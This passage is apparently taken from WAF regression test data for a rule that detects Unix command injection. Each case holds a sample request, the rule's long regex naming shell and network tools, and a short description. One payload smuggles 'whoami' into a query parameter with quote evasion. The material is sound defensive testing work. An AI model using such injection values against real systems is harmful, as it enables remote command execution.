|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "FP with word performance" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "args=perf --version" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[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|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block execution of perf command with arguments" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=whoami;0'0'\"" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?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\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Match despite quote evasion attempt.\n932260 accidentally contained a chain rule for some time that enabled\ntrivial bypasses, by excluding matches against number separators (see 932240).\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "last_name=Cronk" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "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(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "FP against word 'Cronk'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible all -m ping\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\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0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|tem